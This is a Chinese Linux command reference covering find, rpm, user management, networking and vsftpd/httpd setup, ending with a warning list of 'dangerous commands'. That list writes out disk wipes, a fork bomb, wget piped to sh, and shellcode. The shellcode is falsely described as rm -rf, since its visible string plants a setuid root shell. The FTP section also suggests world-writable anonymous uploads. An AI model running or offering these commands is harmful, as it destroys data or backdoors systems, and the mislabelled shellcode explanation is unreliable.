pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。
-print find命令将匹配的档案输出到标準输出。
-exec find命令对匹配的档案执行该参数所给出的shell命令。相应命令的形式为'command' { } \;,注意{ }和\;之间的空格。
-ok 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。
3、find命令选项
-name
按照档案名称查找档案。
-perm
按照档案许可权来查找档案。
-prune
使用这一选项可以使find命令不在当前指定的目录中查找,如果使用-depth选项,那幺-prune将被find命令忽略。
-user
按照档案属主来查找档案。
-group
按照档案所属的组来查找档案。
-mtime -n +n
按照档案的更改时间来查找档案, - n表示档案更改时间距现在n天以内,+ n表示档案更改时间距现在n天以前。find命令还有-atime和-ctime 选项,但它们都和-m time选项。
-nogroup
查找无有效所属组的档案,即该档案所属的组在/etc/groups中不存在。
-nouser
查找无有效属主的档案,即该档案的属主在/etc/passwd中不存在。
-newer file1 ! file2
查找更改时间比档案file1新但比档案file2旧的档案。
-type
查找某一类型的档案,诸如
b -块设备档案。
d -目录。
c -字元设备档案。
p - 管道档案。
l -符号连结档案。
f - 普通档案。
-size n[c] 查找档案长度为n块的档案,带有c时表示档案长度以位元组计。
-depth在查找档案时,查找当前目录中的档案,然后再在其子目录中查找。
-fstype查找位于某一类型档案系统中的档案,这些档案系统类型通常可以在配置档案/etc/fstab中找到,该配置档案中包含了本系统中有关档案系统的信息。
-mount在查找档案时不跨越档案系统mount点。
-follow如果find命令遇到符号连结档案,就跟蹤至连结所指向的档案。
-cpio对匹配的档案使用cpio命令,将这些档案备份到磁带设备中。
,下面三个的区别:
-amin n
查找系统中N分钟访问的档案
-atime n
查找系统中n24小时访问的档案
-cmin n
查找系统中N分钟被改变档案状态的档案
-ctime n
查找系统中n24小时被改变档案状态的档案
-mmin n
查找系统中N分钟被改变档案数据的档案
-mtime n
查找系统中n24小时被改变档案数据的档案
ar
功能说明建立或修改备存档案,或是从备存档案中抽取档案。
语 法ar[-dmpqrtx][cfosSuvV][a<成员档案>][b<成员档案>][i<成员档案>][备存档案][成员档案]
补充说明ar可让您集合许多档案,成为单一的备存档案。在备存档案中,所有成员档案皆保有原来的属性与许可权。
参 数
指令参数
-d 删除备存档案中的成员档案。
-m 变更成员档案在备存档案中的次序。
-p 显示备存档案中的成员档案内容。
-q 将档案附加在备存档案末端。
-r 将档案插入备存档案中。
-t 显示备存档案中所包含的档案。
-x 自备存档案中取出成员档案。
选项参数
a<成员档案> 将档案插入备存档案中指定的成员档案之后。
b<成员档案> 将档案插入备存档案中指定的成员档案之前。
c 建立备存档案。
f 为避免过长的档案名称不兼容于其他系统的ar指令指令,可利用此参数,截掉要放入备存档案中过长的成员档案名称称。
i<成员档案> 将档案插入备存档案中指定的成员档案之前。
o 保留备存档案中档案的日期。
s 若备存档案中包含了对象模式,可利用此参数建立备存档案的符号表。
S 不产生符号表。
u 只将日期较新档案插入备存档案中。
v 程式执行时显示详细的信息。
rpm
一种用于网际网路下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的档案,与Dpkg类似。
RPM是RedHat Package Manager(RedHat软体包管理工具)的缩写,这一档案格式名称虽然打上了RedHat的标誌,其原始设计理念是开放式的,现在包括OpenLinux、S.u.S.E.以及Turbo Linux等Linux的分发版本都有採用,可以算是公认的行业标準了。
常用rpm命令
查询rpm软体包
#rpm -q软体包名
#rpm -qa //查询安装的所有软体包
#rpm -qa|grep软体包字元串
#rpm -qf /bin/命令//查询命令由哪些软体包安装得到
#rpm -qi软体包名 //查询软体包的详细信息
#rpm -ql软体包名 //查询软体包的安装位置
软体包的安装
#rpm -ivh软体包
软体包的升级
#rpm -Uvh软体包
软体包的卸载
#rpm -e软体包名
组管理
#useradd 用户名 //创建用户和组
#passwd 用户名 //设定用户密码
#groupadd组名 //创建组
#usermod–d路径用户名 //修改用户宿主目录
#usermod–u uid 用户名 //修改用户的UID
#usermod-s /bin/[csh] 用户名 //修改用户启动shell
#usermod-G 组名 用户名 //将用户加入组, 创建私有组
#usermod-g 组名 用户名 //用户加入组但不创建私有组
#gpasswd -a 用户名 组名 //同-G
#gpasswd -d 用户名 组名 //将用户从组中删除
#gpasswd -A 用户名 组名 //指定用户成为组的管理员
#usermod-L 用户名 //锁定用户#passwd -l 用户名 //同上
#usermod-U 用户名 //解锁用户#passwd -u 用户名 //同上
#usermod-l 新名 原名 //重命名用户
#groupmod -n 新名 原名 //重命名组
#userdel 用户名 //删除用户#userdel –r 用户名 //彻底删除,包括用户的宿主目录
#groupdel组名 //删除组
#passwd -d 用户名 /删除用户密码/
进程服务
查看进程
#ps -aux //查看所有进程(静态)
#top //查看动态变化的进程
#pstree//查看进程树
将进程放在后台运行
#命令 &
查看后台运行的进程
#jobs
将后台运行的进程调入前台
#fg 编号
强制结束进程
#kill -9 PID 或#killall -9进程名
init进程是所有进程的父进程其级别如下
0 关机
1 单用户
2 多用户字元,不支持NFS
3 完全多用户字元
4 用户自定义
5图形
6 重启
查看服务启动情况(独立启动方式)
#chkconfig --list //查看所有服务的启动状态
#chkconfig --list httpd
设定独立启动服务
#chkconfig --level 35 httpd on或off
设定非独立启动服务
#chkconfig telnet on或off#service xinetd restart
设定服务在开机时自动运行
#ntsysv
网卡设定
1、 设定ip地址(即时生效,重启失效)
#ifconfig eth0 ip地址 netmask子网掩码
2、 设定ip地址(重启生效,永久生效)
#setup
3、 通过配置档案设定ip地址(重启生效,永久生效)
#vi /etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE=eth0 #设备名,与档案同名。
ONBOOT=yes #在系统启动时,启动本设备。
BOOTPROTO=static
IPADDR=202.118.75.91 #此网卡的IP位址
NETMASK=255.255.255.0 #子网掩码
GATEWAY=202.118.75.1 #网关IP
MACADDR=00:02:2D:2E:8C:A8 #mac地址
4、 重启网路服务
#service network restart //重启所有网卡
5、 禁用网卡,启动网卡
#ifdown eth0
#ifup eth0
6、 禁止网卡,显示网卡
#ifconfig eth0 down
#ifconfig eth0 up
7、 配置DNS客户端(最多三个)
#vi /etc/resolv.conf
nameserver 202.99.96.68
8、更改主机名(即时生效)
#hostname主机名
9、更改主机名(重启计算机生效,永久生效)
#vi /etc/sysconfig/network
HOSTNAME=主机名
服务进程
FTP服务
1 使用setup命令开启vsftpd服务进程。
2然后修改档案/etc/xinetd.d/vsftpd。(但vsftpd是依附于xinetd.d运行时2、3有效)
(1)把disable=yes改为=no。
(2)配置每个客户机的最大连线数
在配置档案/etc/xinetd.d/vsftpd的{}中添加如下的配置语句
per_source = 数值。例如per_source = 5 表示每个客户机的最大连线数为5。
(3)配置伺服器总的并发连线数
在配置档案/etc/xinetd.d/vsftpd 的{}中添加如下的配置语句
instances = 数值。例如instances = 200 表示FTP 伺服器总共支持的最高连线数为200。
(4)当vsftpd单独运行时要配置独立运行的vsftpd很简单,只需要在前面的主配置档案的基础上添加如下的配置即可。
设定listen=YES 指明vsftpd以独立运行方式启动。
设定max_clients=200 指明伺服器总的并发连线数
设定max_per_ip=4 指明每个客户机的最大连线数。
3. 配置/etc/vsftpd.conf(redhat9 是/etc/vsftpd/vsftpd.conf)档案。
# 允许真实用户(在系统中有账号的用户)访问
local_enable=YES
# 给真实用户写许可权
write_enable=YES
# 真实用户上传档案的掩码设为022。这样真实用户上传后的档案许可权为755(rwxr-xr-x),即档案所有者可读写执行、同组成员可读可执行、
# 系统中的其它用户可读可执行。
local_umask=022
# 允许匿名用户访问。匿名用户在系统中的账号是ftp
anonymous_enable=YES
# 匿名用户上传档案的掩码设为000。这样档案上传后的许可权为777(rwxrwxrwx),即所有人都可以读写执行。
anon_umask=000
# 匿名用户可上传、可创建目录。一下3行只有设定了write_enable=YES才有效。
anon_upload_enable=YES
anon_mkdir_write_enable=YES
anon_world_readable_only=NO
# 如果想要让匿名用户有删除的许可权可以加上如下代码
# anon_other_write_enable=YES
# 进入每个目录都显示特定提示。这些提示放在各个目录下.message档案中。
dirmessage_enable=YES
# 当用户登入ftp伺服器时,不管是否登入成功都显示如下信息。
ftpd_banner=Welcome to NiHao FTP service.
# 使用日誌记录上传和下载。
xferlog_enable=YES
# 日誌档案的位置
#xferlog_file=/var/log/vsftpd.log
#日誌使用标準fpd格式
xferlog_std_format=YES
# ftp服务的连线埠是20
connect_from_port_20=YES
# 用户使用ftp访问伺服器时,把他们的登入目录作为它们在ftp中看到的目录,这称为chroot。
# 这样用户就无法访问他们登入目录以外的内容,大大增强了安全性。匿名用户的登入目录是/var/ftp/
chroot_list_enable=YES
# 档案/etc/vsftpd.chroot_list中的用户不chroot。
chroot_list_file=/etc/vsftpd.chroot_list
# 最多允许5个用户登入。
max_clients=5 #有些不支持此选项,注释掉即可。
# ftp服务的密码验证模组。
pam_service_name=vsftpd
# listen=YES #如果是独立运行的则加此项(redhat9)。
#tcp_wrappers=YES #如果是独立运行的则加此项(redhat9)。
4.重新启动xinetd服务,你就可以匿名访问你的ftp伺服器了。
下面我们来建立一个ftp管理员账号
在Linux ftp服务中,用户的许可权受到双重限制。一是Linux档案系统本身的许可权限制。每个档案的访问许可权用rwxrwxrwx形势表示。每个用户只能做档案许可权允许的操作。二是ftp配置的限制。系统允许的操作,如果在ftp的配置档案中没有被允许,用户还是不能作这个操作。如某个档案的许可权为rwxrwxrwx,即系统认为任何人都有读写执行的权利。如果vsftpd.conf中不允许匿名用户写,匿名用户还是不能修改这个档案。
对于目录档案的读许可权,意味着可以读出这个目录中的档案信息。目录档案的写许可权,意味着可以在这个目录下建立、删除、重命名档案。
用命令groupadd-r ftpAdmin添加一个ftp管理员组。其中-r表示这是一个系统组。
用命令useradd -c "ftp Administrator" -d /var/ftp/ -G ftpAdmin -s /sbin/nologin -r ftpAdmin添加一个管理员用户ftpAdmin。其中
-c "ftp Administrator" 是对这个用户的描述
-d /var/ftp/ 是这个用户的登入目录
-g ftpAdmin 是这个用户所在的组
-s /sbin/nologin 是这个用户登入时所用的shell。这个shell命令的功能极其弱,以至于不能用telnet登入。也就是说这个管理员只能噹噹垃圾清扫员。(呵呵。好没面子的管理员)
-r 表示这是个系统账号,不用为它建立登入目录。
建好管理员以后把incoming目录的管理权给他。
chown ftpAdmin /var/ftp/incoming 把此目录所有者设为ftpAdmin。
chmod 755 /var/ftp/incoming 把目录的许可权设为所有者可读写执行,同组用户可读、可执行,所有人可读、可执行。
这样,我们的管理员就可以开始管理了。
5 . 配置vsftpd允许匿名用户上传
//修改vsftpd的主配置档案/etc/vsftpd.conf
# vi /etc/vsftpd.conf
//将如下两行前的#删除
//① #anon_upload_enable=YES 允许匿名用户上传
//② #anon_mkdir_write_enable=YES 开启匿名用户的写和创建目录的许可权
//若要以上两项设定生效,还要求
//(1) write_enable=YES
//(2) 匿名用户对档案系统的上传目录具有写许可权
//添加如下的配置语句
// anon_world_readable_only=NO
//上面的配置语句用于放开匿名用户的浏览许可权
//修改后存档退出vi
//
//创建匿名上传目录
#mkdir/var/ftp/incoming
# 修改上传目录的许可权
# chmod o+w /var/ftp/incoming/
#
//重新启动xinetd
# service xinetd restart
Web服务
(httpd)
同样在setup中选中httpd服务。www服务不需要xinetd作为它的代理进程。httpd这个进程一直在系统中运行。www服务的默认目录是/var/www/html。只要把主页放到这个目录下就可以访问了。
我们可以用建立ftp管理员的办法建立一个www管理员wwwAdmin。只要把它的登入目录设为/var/www/html即可。
/etc/init.d/httpd start #启动服务
/etc/init.d/httpd restart #重新启动
其配置档案为/etc/httpd/conf/httpd.conf
ssh服务
SSH 是什幺呢?他有什幺特异功能?简单的来说,SSH 是 Secure SHell protocol 的简写,他可以经由将在线上的封包加密的技术,来进行资料的传递,,资料就比较安全啰!这个 SSH 可以用来取代 Internet 上面较不安全的 finger, R Shell (rcp, rlogin, rsh 等指令), talk 及 telnet 等在线上模式。底下我们将先简介一下 SSH 的在线上模式,来说明为什幺 SSH 会比较安全呢!
特别注意这个 SSH 协定,在预设的状态中,本身就提供两个伺服器功能
1. 一个就是类似 telnet 的远程在线上使用 shell 的伺服器,亦即是俗称的 ssh ;
2. 另一个就是类似 FTP 服务的 sftp-server !提供更安全的 FTP 服务。
套用实例
#!/bin/ksh
home=`pwd`
export CLASSPATH="${home}/lib/swift-fields-1.0.jar:${home}/lib/wife-5.2.jar:${home}/lib/commons-lang-2.4.jar:${home}/lib/log4j-1.2.15.jar:${home}/lib/poi-3.1-FINAL.jar:${home}/lib/swiftmsggeneration-1.0.jar"
LOG_FILE=${home}/log/start_data_decrypt`date +"%y%m%d"`.log
echo "LOG_FILE: " $LOG_FILE
if [ -f $LOG_FILE ]; then
FILE_LEN=`cat $LOG_FILE|wc -l`
#echo $FILE_LEN, 200000 is about 30MB
if [ $FILE_LEN -gt 200000 ]; then
mv $LOG_FILE $LOG_FILE.bak
touch $LOG_FILE
chmod o+r $LOG_FILE
fi;
fi
if [ -z ${JAVA_HOME} ] ; then
echo "Get JAVA_HOME environment variable exported in terms of the directory to store JDK installed" >>${LOG_FILE}
exit -1
fi
echo "INFO:Generation begin .........." >>${LOG_FILE}
$JAVA_HOME/bin/java -cp ${CLASSPATH} com.abc.cde.swift.job.SwiftMsgGeneration "MT202" 2>&1 >> $LOG_FILE
echo "INFO:Generation end .........." >>${LOG_FILE}
echo "INFO:You can get original file in ${hist} .........." >>${LOG_FILE}
echo "INFO:You can get ecnrypt file in ${output} .........." >>${LOG_FILE}
危险命令
Linux七个危险命令
1. Code:
rm -rf \
这个很简单,根目录会被擦光
2. Code:
char esp[] __attribute__ ((section(”.text”))) / e.s.p
release /
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
release /
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
没看懂?呵呵,其实就是16进制的[rm -rf \]
3. Code:
mkfs.ext3 /dev/sda
抹盘行为无疑是危险的,跟抹脖子差不多
4. Code:
:(){:|:&};:
这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而当机.
5. Code:
any_command > /dev /sda
这个命令将会写入大量的RAW数据,可以导致数据丢失.
6. Code:
wget http://some_untrusted_source -O- | sh
和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝蔔一样,也不会保险.
7. Code:
mv /home/yourhomedirectory/ /dev/null
这条命令无疑会让系统抓狂,你的主目录会再也看不到.